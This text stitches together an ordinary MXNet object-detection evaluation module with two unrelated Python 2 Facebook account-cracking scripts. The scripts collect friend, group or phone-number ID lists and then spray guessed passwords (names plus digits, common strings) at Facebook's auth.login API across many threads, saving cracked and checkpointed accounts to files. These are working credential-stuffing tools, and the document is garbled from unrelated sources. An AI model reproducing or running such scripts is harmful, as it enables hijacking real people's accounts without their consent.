self.forward(batch) scores, rois = [], [] im_shapes = np.array([im.shape[-2:] for im in data['data']]).reshape(-1, self.batch_size, 2) im_ids = np.array([], dtype=int) for i, (gpu_out, gpu_scales, gpu_shapes) in enumerate(zip(outputs, scales, im_shapes)): gpu_rois = gpu_out[self.rpn_output_names['rois']].asnumpy() # Reshape crois nper_gpu = gpu_rois.shape[0] / self.batch_size gpu_scores = gpu_out[self.rpn_output_names['scores']].asnumpy() im_ids = np.hstack((im_ids, gpu_out[self.rpn_output_names['im_ids']].asnumpy().astype(int))) for idx in range(self.batch_size): cids = np.where(gpu_rois[:, 0] == idx)[0] assert len(cids) == nper_gpu, 'The number of rois per GPU should be fixed!' crois = gpu_rois[cids, 1:]/gpu_scales[idx] cscores = gpu_scores[cids] # Store predictions scores.append(cscores) rois.append(crois) return scores, rois, data, im_ids def detect(self, batch, scales): data = dict(zip(self.data_names, batch.data)) outputs = self.forward(batch) scores, preds = [], [] im_shapes = np.array([im.shape[-2:] for im in data['data']]).reshape(-1, self.batch_size, 2) im_ids = np.array([], dtype=int) for i, (gpu_out, gpu_scales, gpu_shapes) in enumerate(zip(outputs, scales, im_shapes)): gpu_rois = gpu_out[self.rpn_output_names['rois']].asnumpy() # Reshape crois nper_gpu = gpu_rois.shape[0] / self.batch_size gpu_scores = gpu_out[self.rcnn_output_names['cls']].asnumpy() gpu_deltas = gpu_out[self.rcnn_output_names['bbox']].asnumpy() im_ids = np.hstack((im_ids, gpu_out[self.rcnn_output_names['im_ids']].asnumpy().astype(int))) for idx in range(self.batch_size): cids = np.where(gpu_rois[:, 0] == idx)[0] assert len(cids) == nper_gpu, 'The number of rois per GPU should be fixed!' crois = gpu_rois[cids, 1:] cscores = gpu_scores[idx] cdeltas = gpu_deltas[idx] # Apply deltas and clip predictions cboxes = bbox_pred(crois, cdeltas) cboxes = clip_boxes(cboxes, gpu_shapes[idx]) # Re-scale boxes cboxes = cboxes / gpu_scales[idx] # Store predictions scores.append(cscores) preds.append(cboxes) return scores, preds, data, im_ids def set_scale(self, scale): if isinstance(self.test_iter, PrefetchingIter): self.test_iter.iters[0].set_scale(scale) else: self.test_iter.set_scale(scale) self.test_iter.reset() def show_info(self, print_str): print(print_str) if self.logger: self.logger.info(print_str) def aggregate_rpn(self, scale_cls_dets, vis=False, cache_name='cache', vis_path=None, vis_name=None, pre_nms_db_divide=10, vis_ext='.png'): n_scales = len(scale_cls_dets) assert n_scales == len(self.cfg.TEST.VALID_RANGES), 'A valid range should be specified for each test scale' all_boxes = [[] for _ in range(self.num_images)] nms_pool = Pool(32) if len(scale_cls_dets) > 1: self.show_info('Aggregating detections from multiple scales and applying NMS...') else: self.show_info('Performing NMS on detections...') # Apply ranges and store detections per category parallel_nms_args = [[] for _ in range(pre_nms_db_divide)] n_roi_per_pool = math.ceil(self.num_images/float(pre_nms_db_divide)) for i in range(self.num_images): agg_dets = np.empty((0,5),dtype=np.float32) for all_cls_dets, valid_range in zip(scale_cls_dets, self.cfg.TEST.VALID_RANGES): cls_dets = all_cls_dets[i] heights = cls_dets[:, 2] - cls_dets[:, 0] widths = cls_dets[:, 3] - cls_dets[:, 1] areas = widths * heights #print 'areas', areas lvalid_ids = np.where(areas > valid_range[0]*valid_range[0])[0] if valid_range[0] > 0 else \ np.arange(len(areas)) uvalid_ids = np.where(areas <= valid_range[1]*valid_range[1])[0] if valid_range[1] > 0 else \ np.arange(len(areas)) valid_ids = np.intersect1d(lvalid_ids,uvalid_ids) cls_dets = cls_dets[valid_ids, :] if len(valid_ids) > 0 else cls_dets print 'cls_dets', i, valid_range, cls_dets.shape agg_dets = np.vstack((agg_dets, cls_dets)) parallel_nms_args[int(i/n_roi_per_pool)].append(agg_dets) # Divide roidb and perform NMS in parallel to reduce the memory usage im_offset = 0 for part in tqdm(range(pre_nms_db_divide)): final_dets = nms_pool.map(self.nms_worker.worker, parallel_nms_args[part]) if len(final_dets) > 0: print 'final_dets', final_dets[0].shape all_boxes[im_offset] = final_dets[0] n_part_im = len(final_dets) im_offset += n_part_im nms_pool.close() # Limit number of detections to MAX_PER_IMAGE if requested and visualize if vis is True for i in range(self.num_images): if self.cfg.TEST.MAX_PER_IMAGE > 0: image_scores = np.hstack([all_boxes[i][:, -1]]) if len(image_scores) > self.cfg.TEST.MAX_PER_IMAGE: image_thresh = np.sort(image_scores)[-self.cfg.TEST.MAX_PER_IMAGE] keep = np.where(all_boxes[i][:, -1] >= image_thresh)[0] all_boxes[i] = all_boxes[i][keep, :] if vis: visualization_path = vis_path if vis_path else os.path.join(self.cfg.TEST.VISUALIZATION_PATH, cache_name) if not os.path.isdir(visualization_path): os.makedirs(visualization_path) import cv2 im = cv2.cvtColor(cv2.imread(self.roidb[i]['image']), cv2.COLOR_BGR2RGB) visualize_dets(im, [[]] + [all_boxes[i]], 1.0, self.cfg.network.PIXEL_MEANS, ['BKG', 'FRG'], threshold=0.9, save_path=os.path.join(visualization_path, '{}{}'.format(vis_name if vis_name else i, vis_ext)), transform=False) if cache_name: cache_path = os.path.join(self.result_path, cache_name) if not os.path.isdir(cache_path): os.makedirs(cache_path) cache_path = os.path.join(cache_path, 'detections.pkl') self.show_info('Done! Saving detections into: {}'.format(cache_path)) with open(cache_path, 'wb') as detfile: cPickle.dump(all_boxes, detfile) return all_boxes def aggregate(self, scale_cls_dets, vis=False, cache_name='cache', vis_path=None, vis_name=None, pre_nms_db_divide=10, vis_ext='.png'): n_scales = len(scale_cls_dets) assert n_scales == len(self.cfg.TEST.VALID_RANGES), 'A valid range should be specified for each test scale' all_boxes = [[[] for _ in range(self.num_images)] for _ in range(self.num_classes)] nms_pool = Pool(32) if len(scale_cls_dets) > 1: self.show_info('Aggregating detections from multiple scales and applying NMS...') else: self.show_info('Performing NMS on detections...') # Apply ranges and store detections per category parallel_nms_args = [[] for _ in range(pre_nms_db_divide)] n_roi_per_pool = math.ceil(self.num_images/float(pre_nms_db_divide)) for i in range(self.num_images): for j in range(1, self.num_classes): agg_dets = np.empty((0,5),dtype=np.float32) for all_cls_dets, valid_range in zip(scale_cls_dets, self.cfg.TEST.VALID_RANGES): print all_cls_dets[0] cls_dets = all_cls_dets[j][i] heights = cls_dets[:, 2] - cls_dets[:, 0] widths = cls_dets[:, 3] - cls_dets[:, 1] areas = widths * heights #print 'areas', areas lvalid_ids = np.where(areas > valid_range[0]*valid_range[0])[0] if valid_range[0] > 0 else \ np.arange(len(areas)) uvalid_ids = np.where(areas <= valid_range[1]*valid_range[1])[0] if valid_range[1] > 0 else \ np.arange(len(areas)) valid_ids = np.intersect1d(lvalid_ids,uvalid_ids) cls_dets = cls_dets[valid_ids, :] if len(valid_ids) > 0 else cls_dets #print 'cls_dets', cls_dets agg_dets = np.vstack((agg_dets, cls_dets)) parallel_nms_args[int(i/n_roi_per_pool)].append(agg_dets) # Divide roidb and perform NMS in parallel to reduce the memory usage im_offset = 0 for part in tqdm(range(pre_nms_db_divide)): final_dets = nms_pool.map(self.nms_worker.worker, parallel_nms_args[part]) #print 'final_dets', final_dets n_part_im = int(len(final_dets)/(self.num_classes-1)) for i in range(n_part_im): for j in range(1, self.num_classes): all_boxes[j][im_offset+i] = final_dets[i*(self.num_classes-1)+(j-1)] im_offset += n_part_im nms_pool.close() # Limit number of detections to MAX_PER_IMAGE if requested and visualize if vis is True for i in range(self.num_images): if self.cfg.TEST.MAX_PER_IMAGE > 0: image_scores = np.hstack([all_boxes[j][i][:, -1] for j in range(1, self.num_classes)]) if len(image_scores) > self.cfg.TEST.MAX_PER_IMAGE: image_thresh = np.sort(image_scores)[-self.cfg.TEST.MAX_PER_IMAGE] for j in range(1, self.num_classes): keep = np.where(all_boxes[j][i][:, -1] >= image_thresh)[0] all_boxes[j][i] = all_boxes[j][i][keep, :] if vis: visualization_path = vis_path if vis_path else os.path.join(self.cfg.TEST.VISUALIZATION_PATH, cache_name) if not os.path.isdir(visualization_path): os.makedirs(visualization_path) import cv2 im = cv2.cvtColor(cv2.imread(self.roidb[i]['image']), cv2.COLOR_BGR2RGB) visualize_dets(im, [[]] + [all_boxes[j][i] for j in range(1, self.num_classes)], 1.0, self.cfg.network.PIXEL_MEANS, self.class_names, threshold=0.5, save_path=os.path.join(visualization_path, '{}{}'.format(vis_name if vis_name else i, vis_ext)), transform=False) if cache_name: cache_path = os.path.join(self.result_path, cache_name) if not os.path.isdir(cache_path): os.makedirs(cache_path) cache_path = os.path.join(cache_path, 'detections.pkl') self.show_info('Done! Saving detections into: {}'.format(cache_path)) with open(cache_path, 'wb') as detfile: cPickle.dump(all_boxes, detfile) return all_boxes def get_detections(self, cls_thresh=1e-3, cache_name= 'cache', evaluate= False, vis=False, vis_path=None, vis_ext='.png'): all_boxes = [[[] for _ in range(self.num_images)] for _ in range(self.num_classes)] data_counter = 0 detect_time, post_time = 0, 0 if vis: visualization_path = vis_path if vis_path else os.path.join(self.cfg.TEST.VISUALIZATION_PATH, cache_name) if vis and not os.path.isdir(self.cfg.TEST.VISUALIZATION_PATH): os.makedirs(self.cfg.TEST.VISUALIZATION_PATH) for batch in self.test_iter: im_info = batch.data[1].asnumpy() scales = im_info[:,2].reshape(-1,self.batch_size) # Run detection on the batch stime = time.time() scores, boxes, data, im_ids = self.detect(batch, scales) detect_time += time.time() - stime stime = time.time() for i, (cscores, cboxes, im_id) in enumerate(zip(scores, boxes, im_ids)): parallel_nms_args = [] for j in range(1, self.num_classes): # Apply the score threshold inds = np.where(cscores[:, j] > cls_thresh)[0] #print cls_thresh, inds rem_scores = cscores[inds, j, np.newaxis] rem_boxes = cboxes[inds, 0:4] cls_dets = np.hstack((rem_boxes, rem_scores)) if evaluate or vis: parallel_nms_args.append(cls_dets) else: all_boxes[j][im_id] = cls_dets # Apply nms if evaluate or vis: if not self.thread_pool: self.thread_pool = ThreadPool(8) final_dets = self.thread_pool.map(self.nms_worker.worker, parallel_nms_args) for j in range(1, self.num_classes): all_boxes[j][im_id] = final_dets[j - 1] # Filter boxes based on max_per_image if needed if evaluate and self.cfg.TEST.MAX_PER_IMAGE: image_scores = np.hstack([all_boxes[j][im_id][:, -1] for j in range(1, self.num_classes)]) if len(image_scores) > self.cfg.TEST.MAX_PER_IMAGE: image_thresh = np.sort(image_scores)[-self.cfg.TEST.MAX_PER_IMAGE] for j in range(1, self.num_classes): keep = np.where(all_boxes[j][im_id][:, -1] >= image_thresh)[0] all_boxes[j][im_id] = all_boxes[j][im_id][keep, :] if vis: if not os.path.isdir(visualization_path): os.makedirs(visualization_path) visualize_dets(batch.data[0][i].asnumpy(), [[]]+[all_boxes[j][im_id] for j in range(1, self.num_classes)], im_info[i, 2], self.cfg.network.PIXEL_MEANS, self.class_names, threshold=0.5, save_path=os.path.join(visualization_path,'{}{}'.format(im_id, vis_ext))) data_counter += self.test_iter.get_batch_size() post_time += time.time() - stime if self.verbose: self.show_info('Tester: {}/{}, Detection: {:.4f}s, Post Processing: {:.4}s'.format(min(data_counter, self.num_images), self.num_images, detect_time / data_counter, post_time / data_counter )) if self.thread_pool: self.thread_pool.close() return all_boxes def extract_proposals(self, n_proposals=300, cache_name= 'cache', vis=False, vis_ext='.png'): all_boxes = [[] for _ in range(self.num_images)] data_counter = 0 detect_time, post_time = 0, 0 if vis and not os.path.isdir(self.cfg.TEST.VISUALIZATION_PATH): os.makedirs(self.cfg.TEST.VISUALIZATION_PATH) for batch in self.test_iter: im_info = batch.data[1].asnumpy() scales = im_info[:,2].reshape(-1,self.batch_size) # Run detection on the batch stime = time.time() scores, boxes, data, im_ids = self.get_proposals(batch, scales) detect_time += time.time() - stime stime = time.time() for i, (cscores, cboxes, im_id) in enumerate(zip(scores, boxes, im_ids)): print cscores.shape, cboxes.shape, im_id # Keep the requested number of rois rem_scores = cscores[0:n_proposals, np.newaxis] rem_boxes = cboxes[0:n_proposals, 0:4] cls_dets = np.hstack((rem_boxes, rem_scores)).astype(np.float32) if vis: visualization_path = os.path.join(self.cfg.TEST.VISUALIZATION_PATH, cache_name) if not os.path.isdir(visualization_path): os.makedirs(visualization_path) visualize_dets(batch.data[0][i].asnumpy(), [[]]+[cls_dets], im_info[i, 2], self.cfg.network.PIXEL_MEANS, ['__background__','object'], threshold=0.5, save_path=os.path.join(visualization_path,'{}{}'.format(im_id, vis_ext))) all_boxes[im_id] = cls_dets data_counter += self.test_iter.get_batch_size() post_time += time.time() - stime self.show_info('Tester: {}/{}, Forward: {:.4f}s, Post Processing: {:.4}s'.format(min(data_counter, self.num_images), self.num_images, detect_time / data_counter, post_time / data_counter )) cache_path = os.path.join(self.result_path, cache_name) if not os.path.isdir(cache_path): os.makedirs(cache_path) cache_path=os.path.join(cache_path,'proposals.pkl') self.show_info('Done! Saving detections into: {}'.format(cache_path)) with open(cache_path, 'wb') as detfile: cPickle.dump(all_boxes, detfile) #print all_boxes return all_boxes
def pilih_super(): peak = raw_input("\n\033[1;97m >>> \033[1;97m") if peak =="": print "\033[1;96m[!] \x1b[1;91mIsi yang benar" pilih_super() elif peak =="1": os.system('clear') print logo print 42*"\033[1;96m=" jalan('\033[1;96m[✺] \033[1;93mMengambil ID \033[1;97m...') r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak =="2": os.system('clear') print logo print 42*"\033[1;96m=" idt = raw_input("\033[1;96m[+] \033[1;93mMasukan ID teman \033[1;91m: \033[1;97m") try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;93mNama teman\033[1;91m :\033[1;97m "+op["name"] except KeyError: print"\033[1;96m[!] \x1b[1;91mTeman tidak ditemukan!" raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]") super() jalan('\033[1;96m[✺] \033[1;93mMengambil ID \033[1;97m...') r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak =="3": os.system('clear') print logo print 42*"\033[1;96m=" idg=raw_input('\033[1;96m[+] \033[1;93mMasukan ID group \033[1;91m:\033[1;97m ') try: r=requests.get('https://graph.facebook.com/group/?id='+idg+'&access_token='+toket) asw=json.loads(r.text) print"\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;93mNama group \033[1;91m:\033[1;97m "+asw['name'] except KeyError: print"\033[1;96m[!] \x1b[1;91mGroup tidak ditemukan" raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]") super() jalan('\033[1;96m[✺] \033[1;93mMengambil ID \033[1;97m...') re=requests.get('https://graph.facebook.com/'+idg+'/members?fields=name,id&limit=999999999&access_token='+toket) s=json.loads(re.text) for p in s['data']: id.append(p['id']) elif peak =="4": os.system('clear') print logo print 42*"\033[1;96m=" try: idlist = raw_input('\x1b[1;96m[+] \x1b[1;93mMasukan nama file \x1b[1;91m: \x1b[1;97m') for line in open(idlist,'r').readlines(): id.append(line.strip()) except IOError: print '\x1b[1;96m[!] \x1b[1;91mFile tidak ditemukan' raw_input('\n\x1b[1;96m[ \x1b[1;97mKembali \x1b[1;96m]') super() elif peak =="0": menu() else: print "\033[1;96m[!] \x1b[1;91mIsi yang benar" pilih_super() print "\033[1;96m[+] \033[1;93mTotal ID \033[1;91m: \033[1;97m"+str(len(id)) jalan('\033[1;96m[✺] \033[1;93mStart \033[1;97m...') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;96m[\033[1;97m✸\033[1;96m] \033[1;93mCrack \033[1;97m"+o),;sys.stdout.flush();time.sleep(1) print print('\x1b[1;96m[!] \x1b[1;93mStop CTRL+z') print 42*"\033[1;96m=" def main(arg): global cekpoint,oks user = arg try: os.mkdir('out') except OSError: pass try: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass1 = ('786786') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1 oks.append(user+pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1 cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: pass2 = b['first_name']+'12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2 oks.append(user+pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2 cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) else: pass3 = b['last_name'] + '123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3 oks.append(user+pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3 cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass3+"\n") cek.close() cekpoint.append(user+pass3) else: pass4 = 'Bangsat' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4 oks.append(user+pass4) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4 cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass4+"\n") cek.close() cekpoint.append(user+pass4) else: pass5 = 'Sayang' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass5 oks.append(user+pass5) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass5 cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass5+"\n") cek.close() cekpoint.append(user+pass5) else: pass6 = 'Kontol' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass6 oks.append(user+pass6) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass6 cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass6+"\n") cek.close() cekpoint.append(user+pass6) else: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass7 = 'Anjing' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7 oks.append(user+pass7) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7 cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass7+"\n") cek.close() cekpoint.append(user+pass7) except: pass p = ThreadPool(30) p.map(main, id) print 42*"\033[1;96m=" print '\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;92mSelesai \033[1;97m....' print"\033[1;96m[+] \033[1;92mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint)) print("\033[1;96m[+] \033[1;92mCP File tersimpan \033[1;91m: \033[1;97mout/super_cp.txt") raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]") super()
def action(): peak = raw_input('\n\033[1;97mCHOOSE:\033[1;97m') if peak =='': print '[!] Fill In Correctly' action() elif peak =="1": os.system("clear") print logo2 print "Enter any Pakistan Mobile code Number"+'\n' print 'Type 1 To 49 for clone' print 'telenor,jazz,zong,warid' try: c = raw_input("\033[1;97mCHOOSE : ") k="03" idlist = ('.txt') for line in open(idlist,"r").readlines(): id.append(line.strip()) except IOError: print ("[!] File Not Found") raw_input("\n[ Back ]") blackmafiax() elif peak =='0': login() else: print '[!] Fill In Correctly' action() print 50* '\033[1;94m-' xxx = str(len(id)) jalan ('\033[1;91m Total ids number: '+xxx) jalan ('\033[1;92mCode you choose: '+c) jalan ("\033[1;93mWait A While Start Cracking...") jalan ("\033[1;94mTo Stop Process Press Ctrl+z") print 50* '\033[1;97m-' def main(arg): global cpb,oks user = arg try: os.mkdir('save') except OSError: pass try: pass1 = user data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(Enjoy) ' + k + c + user + ' | ' + pass1 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass1+'\n') okb.close() oks.append(c+user+pass1) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(CP) ' + k + c + user + ' | ' + pass1 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass1+'\n') cps.close() cpb.append(c+user+pass1) else: pass2 = k + c + user data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(Enjoy) ' + k + c + user + ' | ' + pass2 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass2+'\n') okb.close() oks.append(c+user+pass2) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(CP) ' + k + c + user + ' | ' + pass2 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass2+'\n') cps.close() cpb.append(c+user+pass2) else: pass3="Pakistan123" data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(Enjoy) ' + k + c + user + ' | ' + pass3 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass3+'\n') okb.close() oks.append(c+user+pass3) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(OHH NO) ' + k + c + user + ' | ' + pass3 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass3+'\n') cps.close() cpb.append(c+user+pass3) else: pass4="usman12345" data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(Enjoy) ' + k + c + user + ' | ' + pass4 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass4+'\n') okb.close() oks.append(c+user+pass4) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(OHH NO) ' + k + c + user + ' | ' + pass4 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass4+'\n') cps.close() cpb.append(c+user+pass4) else: pass5="786786" data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(Enjoy) ' + k + c + user + ' | ' + pass5 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass5+'\n') okb.close() oks.append(c+user+pass5) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(OHH NO) ' + k + c + user + ' | ' + pass5 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass5+'\n') cps.close() cpb.append(c+user+pass5) except: pass p = ThreadPool(30) p.map(main, id) print 50* '\033[1;91m-' print 'Process Has Been Completed ...' print 'Total Online/Offline : '+str(len(oks))+'/'+str(len(cpb)) print('Cloned Accounts Has Been Saved : save/cloned.txt') jalan("Note : Your Offline account Will Open after 10 to 20 days") print '' print """ ███ ──────────███║║║║║║║███ ─────────█║║║║║║║║║║║║║█ ────────█║║║║███████║║║║█ ───────█║║║║██─────██║║║║█ ──────█║║║║██───────██║║║║█ ─────█║║║║██─────────██║║║║█ ─────█║║║██───────────██║║║█ ─────█║║║█─────────────█║║║█ ─────█║║║█─────────────█║║║█ ─────█║║║█─────────────█║║║█ ─────█║║║█─────────────█║║║█ ────███████───────────███████ ───██║║║║║║██────────██║║║║║██ ──██║║║║║║║║██──────██║║║║║║║██ ─██║║║║║║║║║║██───██║║║║║║║║║║██ ██║║║║║║║║║║║║█████║║║║║║║║║║║║██ █║║║║║║║║║║║║║║║║║║║║║║║║║║║║║║║█ █║║║║║║║║║║║║║█████║║║║║║║║║║║║║█ █║║║║║║║║║║║║█░░░░░█║║║║║║║║║║║║█ █║║║║║║║║║║║║█░░░░░█║║║║║║║║║║║║█ █║║║║║║║║║║║║█░░░░░█║║║║║║║║║║║║█ ██║║║║║║║║║║║█░░░░░█║║║║║║║║║║║██ ██║║║║║║║║║║║║█░░░█║║║║║║║║║║║║██ ─██║║║║║║║║║║║█░░░█║║║║║║║║║║║██ ──██║║║║║║║║║║█░░░█║║║║║║║║║║██ ───██║║║║║║║║║█░░░█║║║║║║║║║██ ────██║║║║║║║║█████║║║║║║║║██ ─────██║║║║║║║║███║║║║║║║║██ ──────██║║║║║║║║║║║║║║║║║██ ───────██║║║║║║║║║║║║║║║██ ────────██║║║║║║║║║║║║║██ ─────────██║║║║║║║║║║║██ ──────────██║║║║║║║║║██ ───────────██║║║║║║║██ ────────────██║║║║║██ ─────────────██║║║██ ──────────────██║██ ───────────────███ ───────────────────────▄██▄▄██▄ ──────────────────────██████████ ──────────────────────▀████████▀ ────────────────────────▀████▀ ─────────────────────────████ ─────────────────────────████ ─────────────────────────████ ─────────────────────────████ ─────────────────────────████ ─────────────────────────████ ─────────────────────────████ ─────────────────────────████ ──────────────────────▄▄▄████ ──────────────────────▀▀▀████ ──────────────────────▀▀▀████ ──────────────────────▀▀▀████ ──────────────────────▄█████▀ \033[1;96mThanks me later \033[1;95mFb\033[1;97m54Q11 \033[1;95myoutube\033[1;97mhttps://https://www.facebook.com/54Q11.ALL.HATERX.KA.PAPA.FEEL.THE.POWER""" raw_input("\n\033[1;92m[\033[1;92mBack\033[1;95m]") login()
